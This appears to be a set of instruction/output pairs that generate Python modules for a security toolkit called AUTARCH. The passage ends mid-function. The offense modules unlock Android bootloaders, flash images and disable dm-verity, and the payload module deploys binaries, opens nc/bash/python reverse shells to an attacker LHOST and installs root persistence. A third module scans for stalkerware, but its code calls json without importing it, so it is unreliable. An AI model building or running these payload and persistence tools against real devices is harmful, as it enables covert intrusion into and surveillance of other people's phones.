Instruction: Create an AUTARCH module in the 'offense' category that android boot/recovery exploits (flash, unlock, verity bypass). The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: android_boot
Category: offense
Description: Android boot/recovery exploits (flash, unlock, verity bypass)

Output:
"""
Android Boot / Recovery Exploit - Bootloader unlock, flash, dm-verity
"""

DESCRIPTION = "Android boot/recovery exploits (flash, unlock, verity bypass)"
AUTHOR = "AUTARCH"
VERSION = "1.0"
CATEGORY = "offense"

import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))

class AndroidBoot:
    """Interactive menu for boot/recovery operations."""

    def __init__(self):
        from core.android_exploit import get_exploit_manager
        from core.hardware import get_hardware_manager
        self.mgr = get_exploit_manager()
        self.hw = get_hardware_manager()
        self.serial = None

    def _select_device(self):
        """Select from fastboot devices (boot ops need fastboot mostly)."""
        fb_devices = self.hw.fastboot_devices()
        adb_devices = self.hw.adb_devices()
        all_devs = []
        for d in fb_devices:
            all_devs.append({'serial': d['serial'], 'mode': 'fastboot'})
        for d in adb_devices:
            all_devs.append({'serial': d['serial'], 'mode': 'adb'})
        if not all_devs:
            print("  No devices found (ADB or fastboot).")
            return
        if len(all_devs) == 1:
            self.serial = all_devs[0]['serial']
            print(f"  Selected: {self.serial} ({all_devs[0]['mode']})")
            return
        print("\n  Select device:")
        for i, d in enumerate(all_devs, 1):
            print(f"    {i}) {d['serial']} [{d['mode']}]")
        try:
            choice = int(input("  > ").strip())
            if 1 <= choice <= len(all_devs):
                self.serial = all_devs[choice - 1]['serial']
        except (ValueError, EOFError, KeyboardInterrupt):
            pass

    def _ensure_device(self):
        if not self.serial:
            self._select_device()
        return self.serial is not None

    def show_menu(self):
        print(f"\n{'='*50}")
        print("  Boot / Recovery Exploit")
        print(f"{'='*50}")
        print("  !! WARNING: Can BRICK device / WIPE data !!")
        print(f"  Device: {self.serial or '(none)'}")
        print()
        print("  [1] Bootloader Info")
        print("  [2] Backup Boot Image")
        print("  [3] Unlock Bootloader     [WIPES DATA]")
        print("  [4] Flash Custom Recovery")
        print("  [5] Flash Boot Image")
        print("  [6] Disable dm-verity/AVB")
        print("  [7] Temp Boot (no flash)")
        print("  [s] Select Device")
        print("  [0] Back")
        print()

    def bootloader_info(self):
        if not self._ensure_device():
            return
        print("  Querying bootloader...")
        info = self.mgr.get_bootloader_info(self.serial)
        if not info:
            print("  No info returned (device might not be in fastboot mode).")
            return
        print(f"\n  Bootloader Variables:")
        for k, v in info.items():
            print(f"    {k:<25} {v}")

    def backup_boot(self):
        if not self._ensure_device():
            return
        print("  Backing up boot image (requires root via ADB)...")
        result = self.mgr.backup_boot_image(self.serial)
        if result['success']:
            size_mb = result['size'] / (1024 * 1024)
            print(f"  Saved: {result['local_path']} ({size_mb:.1f} MB)")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def unlock_bootloader(self):
        if not self._ensure_device():
            return
        print("\n  !! WARNING: This will WIPE ALL DATA on the device !!")
        try:
            confirm = input("  Type 'YES' to proceed: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if confirm != 'YES':
            print("  Cancelled.")
            return
        print("  Unlocking bootloader...")
        result = self.mgr.unlock_bootloader(self.serial)
        if result['success']:
            print("  Bootloader unlocked (or confirmation pending on device).")
        else:
            print(f"  Result: {result.get('output', 'Unknown')}")

    def flash_recovery(self):
        if not self._ensure_device():
            return
        try:
            img = input("  Recovery image path: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if not img:
            return
        print("  Flashing recovery...")
        result = self.mgr.flash_recovery(self.serial, img)
        if result.get('success'):
            print(f"  Flash started (op: {result.get('op_id', '?')})")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def flash_boot(self):
        if not self._ensure_device():
            return
        try:
            img = input("  Boot image path: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if not img:
            return
        print("  Flashing boot...")
        result = self.mgr.flash_boot(self.serial, img)
        if result.get('success'):
            print(f"  Flash started (op: {result.get('op_id', '?')})")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def disable_verity(self):
        if not self._ensure_device():
            return
        try:
            vbmeta = input("  vbmeta image path (optional, Enter to skip): ").strip() or None
        except (EOFError, KeyboardInterrupt):
            return
        print("  Disabling dm-verity/AVB...")
        result = self.mgr.disable_verity(self.serial, vbmeta)
        print(f"  Result: {result.get('output', 'Done')}")
        print(f"  Method: {result.get('method', '?')}")

    def temp_boot(self):
        if not self._ensure_device():
            return
        try:
            img = input("  Boot image path: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if not img:
            return
        print("  Temp-booting image (no permanent flash)...")
        result = self.mgr.boot_temp(self.serial, img)
        if result['success']:
            print("  Device booting from temporary image.")
        else:
            print(f"  Error: {result.get('output', 'Failed')}")

    def run_interactive(self):
        while True:
            self.show_menu()
            try:
                choice = input("  Select > ").strip().lower()
            except (EOFError, KeyboardInterrupt):
                break
            if choice == '0':
                break
            actions = {
                '1': self.bootloader_info,
                '2': self.backup_boot,
                '3': self.unlock_bootloader,
                '4': self.flash_recovery,
                '5': self.flash_boot,
                '6': self.disable_verity,
                '7': self.temp_boot,
                's': self._select_device,
            }
            action = actions.get(choice)
            if action:
                action()
            else:
                print("  Invalid choice.")

def run():
    m = AndroidBoot()
    m.run_interactive()


Instruction: Create an AUTARCH module in the 'offense' category that android payload deployment (binaries, reverse shells, persistence). The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: android_payload
Category: offense
Description: Android payload deployment (binaries, reverse shells, persistence)

Output:
"""
Android Payload Deployment - Deploy binaries, reverse shells, persistence
"""

DESCRIPTION = "Android payload deployment (binaries, reverse shells, persistence)"
AUTHOR = "AUTARCH"
VERSION = "1.0"
CATEGORY = "offense"

import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))

class AndroidPayload:
    """Interactive menu for Android payload deployment."""

    def __init__(self):
        from core.android_exploit import get_exploit_manager
        from core.hardware import get_hardware_manager
        self.mgr = get_exploit_manager()
        self.hw = get_hardware_manager()
        self.serial = None

    def _select_device(self):
        devices = self.hw.adb_devices()
        if not devices:
            print("  No ADB devices connected.")
            return
        if len(devices) == 1:
            self.serial = devices[0]['serial']
            print(f"  Selected: {self.serial}")
            return
        print("\n  Select device:")
        for i, d in enumerate(devices, 1):
            model = d.get('model', '')
            print(f"    {i}) {d['serial']} {model}")
        try:
            choice = int(input("  > ").strip())
            if 1 <= choice <= len(devices):
                self.serial = devices[choice - 1]['serial']
        except (ValueError, EOFError, KeyboardInterrupt):
            pass

    def _ensure_device(self):
        if not self.serial:
            self._select_device()
        return self.serial is not None

    def show_menu(self):
        print(f"\n{'='*50}")
        print("  Payload Deployment")
        print(f"{'='*50}")
        print(f"  Device: {self.serial or '(none)'}")
        print()
        print("  [1] Deploy Binary")
        print("  [2] Execute Payload")
        print("  [3] Setup Reverse Shell")
        print("  [4] Install Persistence   [ROOT]")
        print("  [5] List Running Payloads")
        print("  [6] Kill Payload")
        print("  [s] Select Device")
        print("  [0] Back")
        print()

    def deploy_binary(self):
        if not self._ensure_device():
            return
        try:
            local = input("  Local binary path: ").strip()
            remote = input("  Remote path [/data/local/tmp/]: ").strip() or '/data/local/tmp/'
        except (EOFError, KeyboardInterrupt):
            return
        if not local:
            return
        print("  Deploying...")
        result = self.mgr.deploy_binary(self.serial, local, remote)
        if result['success']:
            print(f"  Deployed to: {result['remote_path']}")
        else:
            print(f"  Error: {result['error']}")

    def execute_payload(self):
        if not self._ensure_device():
            return
        try:
            remote = input("  Remote path: ").strip()
            args = input("  Arguments []: ").strip()
            bg = input("  Background? [Y/n]: ").strip().lower() != 'n'
        except (EOFError, KeyboardInterrupt):
            return
        if not remote:
            return
        print("  Executing...")
        result = self.mgr.execute_payload(self.serial, remote, args=args, background=bg)
        if result['success']:
            if result['background']:
                print(f"  Running in background, PID: {result['pid']}")
            else:
                print(f"  Output:\n{result['output']}")
        else:
            print(f"  Error: {result.get('output', 'Failed')}")

    def reverse_shell(self):
        if not self._ensure_device():
            return
        try:
            lhost = input("  LHOST (your IP): ").strip()
            lport = input("  LPORT: ").strip()
            print("  Methods: nc, bash, python")
            method = input("  Method [nc]: ").strip() or 'nc'
        except (EOFError, KeyboardInterrupt):
            return
        if not lhost or not lport:
            return
        print(f"  Setting up {method} reverse shell to {lhost}:{lport}...")
        result = self.mgr.setup_reverse_shell(self.serial, lhost, int(lport), method)
        if result['success']:
            print(f"  Reverse shell initiated ({method})")
            print(f"  Catch with: nc -lvnp {lport}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def persistence(self):
        if not self._ensure_device():
            return
        try:
            method = input("  Method [init.d]: ").strip() or 'init.d'
        except (EOFError, KeyboardInterrupt):
            return
        print("  Installing persistence (requires root)...")
        result = self.mgr.install_persistence(self.serial, method)
        if result['success']:
            print(f"  Installed at: {result['path']}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def list_payloads(self):
        if not self._ensure_device():
            return
        result = self.mgr.list_running_payloads(self.serial)
        if not result['success']:
            print(f"  Error: {result.get('error', 'Failed')}")
            return
        if not result['payloads']:
            print("  No running payloads found in /data/local/tmp/")
            return
        print(f"\n  Found {result['count']} running payloads:")
        for p in result['payloads']:
            print(f"    PID {p['pid']}: {p['command']}")

    def kill_payload(self):
        if not self._ensure_device():
            return
        try:
            pid = input("  PID to kill: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if not pid:
            return
        result = self.mgr.kill_payload(self.serial, pid)
        print(f"  Kill signal sent to PID {pid}")

    def run_interactive(self):
        while True:
            self.show_menu()
            try:
                choice = input("  Select > ").strip().lower()
            except (EOFError, KeyboardInterrupt):
                break
            if choice == '0':
                break
            actions = {
                '1': self.deploy_binary,
                '2': self.execute_payload,
                '3': self.reverse_shell,
                '4': self.persistence,
                '5': self.list_payloads,
                '6': self.kill_payload,
                's': self._select_device,
            }
            action = actions.get(choice)
            if action:
                action()
            else:
                print("  Invalid choice.")

def run():
    m = AndroidPayload()
    m.run_interactive()


Instruction: Create an AUTARCH module in the 'defense' category that android anti-stalkerware/spyware shield. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: android_protect
Category: defense
Description: Android anti-stalkerware/spyware shield

Output:
"""
Android Protection Shield - Anti-stalkerware & anti-spyware defense
Detect, analyze, and remove stalkerware and government-grade spyware from Android devices.
"""

DESCRIPTION = "Android anti-stalkerware/spyware shield"
AUTHOR = "AUTARCH"
VERSION = "1.0"
CATEGORY = "defense"

class AndroidProtect:
    """Interactive Android protection menu."""

    def __init__(self):
        from core.android_protect import get_android_protect_manager
        from core.hardware import get_hardware_manager
        self.mgr = get_android_protect_manager()
        self.hw = get_hardware_manager()
        self.serial = None

    def _pick_device(self):
        """Select an ADB device."""
        devices = self.hw.adb_devices()
        if not devices:
            print("  No ADB devices connected.")
            return None
        if len(devices) == 1:
            self.serial = devices[0]['serial']
            return self.serial
        print("\n  Select device:")
        for i, d in enumerate(devices, 1):
            model = d.get('model', '')
            print(f"    {i}) {d['serial']} {model}")
        try:
            choice = int(input("  > ").strip())
            if 1 <= choice <= len(devices):
                self.serial = devices[choice - 1]['serial']
                return self.serial
        except (ValueError, EOFError, KeyboardInterrupt):
            pass
        return None

    def _ensure_device(self):
        """Ensure we have a selected device."""
        if self.serial:
            return self.serial
        return self._pick_device()

    def _print_severity(self, sev):
        """Color indicator for severity."""
        markers = {
            'critical': '[!!!]',
            'high': '[!! ]',
            'medium': '[!  ]',
            'low': '[   ]',
        }
        return markers.get(sev, '[?  ]')

    def show_menu(self):
        status = self.hw.get_status()
        serial_str = self.serial or 'None selected'

        # Shizuku/Shield info
        shizuku_str = 'N/A'
        shield_str = 'N/A'
        if self.serial:
            try:
                sz = self.mgr.check_shizuku(self.serial)
                if sz['installed']:
                    shizuku_str = f"{'Running' if sz['running'] else 'Stopped'}"
                    if sz['version']:
                        shizuku_str += f" v{sz['version']}"
                else:
                    shizuku_str = 'Not installed'
                sh = self.mgr.check_shield_app(self.serial)
                shield_str = f"v{sh['version']}" if sh['installed'] else 'Not installed'
            except Exception:
                pass

        sig_stats = self.mgr.get_signature_stats()

        print(f"\n{'='*60}")
        print("  Android Protection Shield")
        print(f"{'='*60}")
        print(f"  ADB: {'Available' if status['adb'] else 'Not found'}")
        print(f"  Device: {serial_str}")
        print(f"  Shizuku: {shizuku_str} | Shield: {shield_str}")
        print(f"  DB: {sig_stats['stalkerware_packages']} packages, "
              f"{sig_stats['government_spyware']} govt spyware")
        print()
        print("  -- Quick Actions --")
        print("   1) Quick Scan (fast)")
        print("   2) Full Protection Scan")
        print("   3) Export Scan Report")
        print()
        print("  -- Detection --")
        print("  10) Scan Stalkerware")
        print("  11) Scan Hidden Apps")
        print("  12) Scan Device Admins")
        print("  13) Scan Accessibility Services")
        print("  14) Scan Notification Listeners")
        print("  15) Scan Spyware Indicators (Pegasus/Predator)")
        print("  16) Scan System Integrity")
        print("  17) Scan Suspicious Processes")
        print("  18) Scan Certificates (MITM)")
        print("  19) Scan Network Config")
        print("  20) Scan Developer Options")
        print()
        print("  -- Permission Analysis --")
        print("  30) Find Dangerous Apps")
        print("  31) Analyze App Permissions")
        print("  32) Permission Heatmap")
        print()
        print("  -- Remediation --")
        print("  40) Disable Threat")
        print("  41) Uninstall Threat")
        print("  42) Revoke Dangerous Permissions")
        print("  43) Remove Device Admin")
        print("  44) Remove Rogue CA Cert")
        print("  45) Clear Proxy Settings")
        print()
        print("  -- Shizuku & Shield --")
        print("  50) Shizuku Status")
        print("  51) Install Shizuku")
        print("  52) Start Shizuku Service")
        print("  53) Install Shield App")
        print("  54) Configure Shield")
        print("  55) Grant Shield Permissions")
        print()
        print("  -- Database --")
        print("  60) Signature Stats")
        print("  61) Update Signatures")
        print()
        print("  -- Tracking Honeypot --")
        print("  70) Honeypot Status")
        print("  71) Scan Tracker Apps")
        print("  72) Scan Tracker Permissions")
        print("  73) View Ad Tracking Settings")
        print()
        print("  74) Reset Advertising ID")
        print("  75) Opt Out of Ad Tracking")
        print("  76) Set Ad-Blocking DNS")
        print("  77) Disable Location Scanning")
        print()
        print("  78) Deploy Hosts Blocklist (root)")
        print("  79) Setup Traffic Redirect (root)")
        print("  80) Set Fake Location (root)")
        print("  81) Random Fake Location (root)")
        print("  82) Rotate Device Identity (root)")
        print("  83) Generate Fake Fingerprint (root)")
        print()
        print("  84) Activate Honeypot (all tiers)")
        print("  85) Deactivate Honeypot")
        print()
        print("  86) Tracker Domain Stats")
        print("  87) Update Tracker Domains")
        print()
        print("  [s] Select Device")
        print("   0) Back")
        print()

    # ── Quick Actions ───────────────────────────────────────────────

    def do_quick_scan(self):
        if not self._ensure_device():
            return
        print(f"\n  Running quick scan on {self.serial}...")
        result = self.mgr.quick_scan(self.serial)
        summary = result.get('summary', {})
        print(f"\n  {'='*50}")
        print(f"  Quick Scan Results")
        print(f"  {'='*50}")
        print(f"  Threats found: {summary.get('threats_found', 0)}")
        print(f"    Stalkerware:            {summary.get('stalkerware', 0)}")
        print(f"    Suspicious admins:      {summary.get('suspicious_admins', 0)}")
        print(f"    Malicious accessibility: {summary.get('malicious_accessibility', 0)}")

        found = result.get('stalkerware', {}).get('found', [])
        if found:
            print(f"\n  Stalkerware Detected:")
            for f in found:
                print(f"    {self._print_severity(f['severity'])} {f['name']} ({f['package']})")
                print(f"           {f['description']}")

    def do_full_scan(self):
        if not self._ensure_device():
            return
        print(f"\n  Running full protection scan on {self.serial}...")
        print("  This may take a few minutes...")
        result = self.mgr.full_protection_scan(self.serial)
        summary = result.get('summary', {})
        print(f"\n  {'='*50}")
        print(f"  Full Scan Results")
        print(f"  {'='*50}")
        print(f"  Total threats:     {summary.get('threats_found', 0)}")
        print(f"  System integrity:  {summary.get('system_integrity', 'N/A')}")
        print(f"  Hidden apps:       {summary.get('hidden_apps', 0)}")
        print(f"  Dangerous apps:    {summary.get('dangerous_apps', 0)}")
        print(f"  User CA certs:     {summary.get('user_ca_certs', 0)}")

        found = result.get('stalkerware', {}).get('found', [])
        if found:
            print(f"\n  Stalkerware:")
            for f in found:
                print(f"    {self._print_severity(f['severity'])} {f['name']} ({f['package']})")

        spyware = result.get('spyware_indicators', {}).get('findings', [])
        if spyware:
            print(f"\n  Government Spyware Indicators:")
            for s in spyware:
                print(f"    {self._print_severity(s['severity'])} {s['name']}")
                for ind in s.get('indicators_matched', []):
                    print(f"      {ind['type']}: {ind['value']}")

    def do_export_report(self):
        if not self._ensure_device():
            return
        print(f"\n  Running full scan and exporting...")
        scan = self.mgr.full_protection_scan(self.serial)
        result = self.mgr.export_scan_report(self.serial, scan)
        if result.get('ok'):
            print(f"  Report saved: {result['path']}")
        else:
            print(f"  Error: {result.get('error', 'Unknown')}")

    # ── Detection ───────────────────────────────────────────────────

    def do_scan_stalkerware(self):
        if not self._ensure_device():
            return
        print(f"\n  Scanning for stalkerware...")
        result = self.mgr.scan_stalkerware(self.serial)
        if result.get('error'):
            print(f"  Error: {result['error']}")
            return
        print(f"  Scanned {result['total']} packages, {result['clean_count']} clean")
        found = result.get('found', [])
        if found:
            print(f"\n  Found {len(found)} threats:")
            for f in found:
                print(f"    {self._print_severity(f['severity'])} {f['name']}")
                print(f"      Package: {f['package']}")
                print(f"      {f['description']}")
        else:
            print("  No stalkerware detected.")

    def do_scan_hidden(self):
        if not self._ensure_device():
            return
        print(f"\n  Scanning for hidden apps...")
        result = self.mgr.scan_hidden_apps(self.serial)
        apps = result.get('hidden_apps', [])
        print(f"  Found {len(apps)} hidden apps (no launcher icon):")
        for app in apps:
            print(f"    - {app}")

    def do_scan_admins(self):
        if not self._ensure_device():
            return
        print(f"\n  Scanning device admins...")
        result = self.mgr.scan_device_admins(self.serial)
        admins = result.get('admins', [])
        print(f"  Found {len(admins)} device admins:")
        for a in admins:
            marker = " [SUSPICIOUS]" if a.get('suspicious') else ""
            print(f"    - {a['package']}{marker}")

    def do_scan_accessibility(self):
        if not self._ensure_device():
            return
        print(f"\n  Scanning accessibility services...")
        result = self.mgr.scan_accessibility_services(self.serial)
        services = result.get('services', [])
        if not services:
            print("  No accessibility services enabled.")
            return
        for s in services:
            status = s.get('status', 'unknown')
            marker = {'legitimate': '[OK]', 'malicious': '[BAD]', 'unknown': '[??]'}
            print(f"    {marker.get(status, '[??]')} {s['package']}")

    def do_scan_listeners(self):
        if not self._ensure_device():
            return
        print(f"\n  Scanning notification listeners...")
        result = self.mgr.scan_notification_listeners(self.serial)
        listeners = result.get('listeners', [])
        if not listeners:
            print("  No notification listeners enabled.")
            return
        for l in listeners:
            marker = " [SUSPICIOUS]" if l.get('suspicious') else ""
            print(f"    - {l['package']}{marker}")

    def do_scan_spyware(self):
        if not self._ensure_device():
            return
        print(f"\n  Scanning for government spyware indicators...")
        print("  Checking Pegasus, Predator, Hermit, FinSpy, etc...")
        result = self.mgr.scan_spyware_indicators(self.serial)
        print(f"  Checked {result.get('spyware_checked', 0)} spyware families")
        findings = result.get('findings', [])
        if findings:
            print(f"\n  ALERT: Found {len(findings)} indicators:")
            for f in findings:
                print(f"    {self._print_severity(f['severity'])} {f['name']}")
                print(f"      {f.get('description', '')}")
                for ind in f.get('indicators_matched', []):
                    print(f"        {ind['type']}: {ind['value']}")
        else:
            print("  No government spyware indicators found.")

    def do_scan_integrity(self):
        if not self._ensure_device():
            return
        print(f"\n  Checking system integrity...")
        result = self.mgr.scan_system_integrity(self.serial)
        print(f"  Passed: {result['ok_count']}/{result['total']}")
        for name, check in result.get('checks', {}).items():
            status = "[OK]" if check['ok'] else "[!!]"
            print(f"    {status} {check['description']}: {check['value']}")

    def do_scan_processes(self):
        if not self._ensure_device():
            return
        print(f"\n  Scanning for suspicious processes...")
        result = self.mgr.scan_suspicious_processes(self.serial)
        findings = result.get('findings', [])
        if findings:
            print(f"  Found {len(findings)} suspicious items:")
            for f in findings:
                print(f"    [{f['severity'].upper()}] {f['type']}: {f['detail']}")
        else:
            print("  No suspicious processes found.")

    def do_scan_certs(self):
        if not self._ensure_device():
            return
        print(f"\n  Scanning certificates...")
        result = self.mgr.scan_certificates(self.serial)
        certs = result.get('certs', [])
        if certs:
            print(f"  Found {len(certs)} user-installed CA certs:")
            for c in certs:
                print(f"    - {c['hash']}: {c['detail']}")
        else:
            print("  No user-installed CA certificates.")

    def do_scan_network(self):
        if not self._ensure_device():
            return
        print(f"\n  Scanning network configuration...")
        result = self.mgr.scan_network_config(self.serial)
        for name, check in result.get('checks', {}).items():
            status = "[OK]" if check.get('ok', True) else "[!!]"
            desc = check.get('description', name)
            print(f"    {status} {desc}: {check['value']}")

    def do_scan_devopt(self):
        if not self._ensure_device():
            return
        print(f"\n  Scanning developer options...")
        result = self.mgr.scan_developer_options(self.serial)
        for name, check in result.get('checks', {}).items():
            marker = "[ON] " if check.get('enabled') else "[OFF]"
            print(f"    {marker} {check['description']}: {check['value']}")

    # ── Permission Analysis ─────────────────────────────────────────

    def do_dangerous_apps(self):
        if not self._ensure_device():
            return
        print(f"\n  Finding apps with dangerous permission combos...")
        print("  This may take a while...")
        result = self.mgr.find_dangerous_apps(self.serial)
        dangerous = result.get('dangerous', [])
        if dangerous:
            print(f"\n  Found {len(dangerous)} dangerous apps:")
            for d in dangerous:
                print(f"    {self._print_severity(d['severity'])} {d['package']}")
                print(f"      Pattern: {d['combo']}")
                print(f"      Perms: {', '.join(d['matched_perms'])}")
        else:
            print("  No apps with dangerous permission combos found.")

    def do_analyze_perms(self):
        if not self._ensure_device():
            return
        try:
            package = input("  Package name: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if not package:
            return
        result = self.mgr.analyze_app_permissions(self.serial, package)
        if result.get('error'):
            print(f"  Error: {result['error']}")
            return
        perms = result.get('permissions', {})
        info = result.get('info', {})
        print(f"\n  {package}")
        if info:
            for k, v in info.items():
                print(f"    {k}: {v}")
        print(f"\n  Granted ({len(perms.get('granted', []))}):")
        for p in perms.get('granted', []):
            print(f"    + {p}")
        print(f"  Denied ({len(perms.get('denied', []))}):")
        for p in perms.get('denied', []):
            print(f"    - {p}")

    def do_perm_heatmap(self):
        if not self._ensure_device():
            return
        print(f"\n  Building permission heatmap...")
        print("  This scans all non-system apps, may take a while...")
        result = self.mgr.permission_heatmap(self.serial)
        matrix = result.get('matrix', [])
        perm_names = result.get('permission_names', [])
        if not matrix:
            print("  No apps with dangerous permissions found.")
            return
        # Print header
        short = [p[:8] for p in perm_names]
        header = f"  {'Package':<35} " + " ".join(f"{s:<8}" for s in short)
        print(f"\n{header}")
        print(f"  {'-'*len(header)}")
        for row in matrix[:30]:  # Limit display
            pkg = row['package'][:34]
            perms = row['permissions']
            cells = " ".join(
                f"{'  X     ' if perms.get(p) else '  .     '}"
                for p in perm_names
            )
            print(f"  {pkg:<35} {cells}")
        if len(matrix) > 30:
            print(f"  ... and {len(matrix) - 30} more apps")

    # ── Remediation ─────────────────────────────────────────────────

    def _get_package_input(self, prompt="  Package to target: "):
        try:
            return input(prompt).strip()
        except (EOFError, KeyboardInterrupt):
            return ''

    def do_disable(self):
        if not self._ensure_device():
            return
        pkg = self._get_package_input()
        if not pkg:
            return
        result = self.mgr.disable_threat(self.serial, pkg)
        if result.get('ok'):
            print(f"  Disabled: {pkg}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def do_uninstall(self):
        if not self._ensure_device():
            return
        pkg = self._get_package_input()
        if not pkg:
            return
        try:
            confirm = input(f"  Uninstall {pkg}? (y/N): ").strip().lower()
        except (EOFError, KeyboardInterrupt):
            return
        if confirm != 'y':
            print("  Cancelled.")
            return
        result = self.mgr.uninstall_threat(self.serial, pkg)
        if result.get('ok'):
            print(f"  Uninstalled: {pkg}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def do_revoke(self):
        if not self._ensure_device():
            return
        pkg = self._get_package_input()
        if not pkg:
            return
        result = self.mgr.revoke_dangerous_perms(self.serial, pkg)
        print(f"  Revoked: {', '.join(result['revoked'])}")
        if result['failed']:
            print(f"  Failed: {', '.join(result['failed'])}")

    def do_remove_admin(self):
        if not self._ensure_device():
            return
        pkg = self._get_package_input()
        if not pkg:
            return
        result = self.mgr.remove_device_admin(self.serial, pkg)
        if result.get('ok'):
            print(f"  Removed device admin: {result.get('message', pkg)}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def do_remove_cert(self):
        if not self._ensure_device():
            return
        # List certs first
        certs = self.mgr.scan_certificates(self.serial).get('certs', [])
        if not certs:
            print("  No user CA certs to remove.")
            return
        print("  User CA certificates:")
        for i, c in enumerate(certs, 1):
            print(f"    {i}) {c['hash']}: {c['detail']}")
        try:
            choice = int(input("  Remove #: ").strip())
            if 1 <= choice <= len(certs):
                result = self.mgr.remove_ca_cert(self.serial, certs[choice - 1]['hash'])
                if result.get('ok'):
                    print(f"  Removed.")
                else:
                    print(f"  Error: {result.get('error')}")
        except (ValueError, EOFError, KeyboardInterrupt):
            pass

    def do_clear_proxy(self):
        if not self._ensure_device():
            return
        result = self.mgr.clear_proxy(self.serial)
        for r in result.get('results', []):
            status = "OK" if r['ok'] else "FAIL"
            print(f"    [{status}] {r['setting']}")

    # ── Shizuku & Shield ────────────────────────────────────────────

    def do_shizuku_status(self):
        if not self._ensure_device():
            return
        result = self.mgr.shizuku_status(self.serial)
        print(f"\n  Shizuku Status:")
        print(f"    Installed: {result['installed']}")
        print(f"    Running:   {result.get('running', False)}")
        print(f"    Version:   {result.get('version', 'N/A')}")

    def do_install_shizuku(self):
        if not self._ensure_device():
            return
        try:
            apk = input("  Shizuku APK path: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if not apk:
            return
        result = self.mgr.install_shizuku(self.serial, apk)
        if result.get('ok'):
            print(f"  {result['message']}")
        else:
            print(f"  Error: {result.get('error')}")

    def do_start_shizuku(self):
        if not self._ensure_device():
            return
        result = self.mgr.start_shizuku(self.serial)
        if result.get('ok'):
            print(f"  Shizuku started: {result.get('output', '')}")
        else:
            print(f"  Error: {result.get('error')}")

    def do_install_shield(self):
        if not self._ensure_device():
            return
        try:
            apk = input("  Shield APK path: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if not apk:
            return
        result = self.mgr.install_shield_app(self.serial, apk)
        if result.get('ok'):
            print(f"  {result['message']}")
        else:
            print(f"  Error: {result.get('error')}")

    def do_configure_shield(self):
        if not self._ensure_device():
            return
        print("  Shield Configuration (JSON):")
        try:
            config_str = input("  > ").strip()
            config = json.loads(config_str)
        except (EOFError, KeyboardInterrupt):
            return
        except json.JSONDecodeError:
            print("  Invalid JSON.")
            return
        result = self.mgr.configure_shield(self.serial, config)
        if result.get('ok'):
            print(f"  Config sent: {result.get('output', '')}")
        else:
            print(f"  Error: {result.get('output', 'Failed')}")

    def do_grant_shield_perms(self):
        if not self._ensure_device():
            return
        result = self.mgr.grant_shield_permissions(self.serial)
        for p in result.get('granted', []):
            print(f"    [OK] {p}")
        for f in result.get('failed', []):
            print(f"    [!!] {f['perm']}: {f['error']}")

    # ── Tracking Honeypot ─────────────────────────────────────────

    def do_honeypot_status(self):
        if not self._ensure_device():
            return
        print(f"\n  Checking honeypot status...")
        result = self.mgr.honeypot_status(self.serial)
        print(f"\n  Honeypot Status:")
        print(f"    Active:         {result.get('active', False)}")
        print(f"    Tier:           {result.get('tier', 0)}")
        print(f"    Ad tracking:    {'limited' if result.get('ad_tracking_limited') else 'not limited'}")
        print(f"    Private DNS:    {result.get('private_dns_mode', 'off')}")
        if result.get('private_dns_host'):
            print(f"    DNS host:       {result['private_dns_host']}")
        protections = result.get('protections', {})
        if protections:
            print(f"    Protections:")
            for k, v in protections.items():
                print(f"      {k}: {v}")

    def do_scan_tracker_apps(self):
        if not self._ensure_device():
            return
        print(f"\n  Scanning for tracker apps...")
        result = self.mgr.scan_tracker_apps(self.serial)
        if result.get('error'):
            print(f"  Error: {result['error']}")
            return
        found = result.get('found', [])
        print(f"  Found {len(found)} tracker packages out of {result.get('total', 0)} installed:")
        for pkg in found:
            print(f"    - {pkg}")
        if not found:
            print("  No known tracker apps found.")

    def do_scan_tracker_perms(self):
        if not self._ensure_device():
            return
        print(f"\n  Scanning for tracking permissions...")
        result = self.mgr.scan_tracker_permissions(self.serial)
        apps = result.get('apps', [])
        if apps:
            print(f"  {len(apps)} apps have tracking permissions:")
            for app in apps[:30]:
                print(f"    {app['package']}: {', '.join(app['permissions'])}")
            if len(apps) > 30:
                print(f"    ... and {len(apps) - 30} more")
        else:
            print("  No apps with tracking permissions found.")

    def do_ad_settings(self):
        if not self._ensure_device():
            return
        print(f"\n  Ad Tracking Settings:")
        result = self.mgr.get_tracking_settings(self.serial)
        for name, info in result.items():
            print(f"    {info.get('description', name)}: {info['value']}")

    def do_reset_ad_id(self):
        if not self._ensure_device():
            return
        result = self.mgr.reset_advertising_id(self.serial)
        if result.get('ok'):
            print(f"  {result['message']}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def do_opt_out_tracking(self):
        if not self._ensure_device():
            return
        result = self.mgr.opt_out_ad_tracking(self.serial)
        if result.get('ok'):
            print(f"  {result['message']}")
        else:
            print(f"  Error: {result.get('error', 'Failed')}")

    def do_set_dns(self):
        if not self._ensure_device():
            return
        print("  Available DNS providers:")
        db = self.mgr._load_tracker_domains()
        providers = db.get('dns_providers', {})
        for name, info in providers.items():
            print(f"    {name}: {info.get('description', info.get('hostname', ''))}")
        try:
            provider = input("  Provider name: ").strip()
        except (EOFError, KeyboardInterrupt):
            return
        if not provider:
            return
        result = self.mgr.set_private_dns(self.serial, provider)
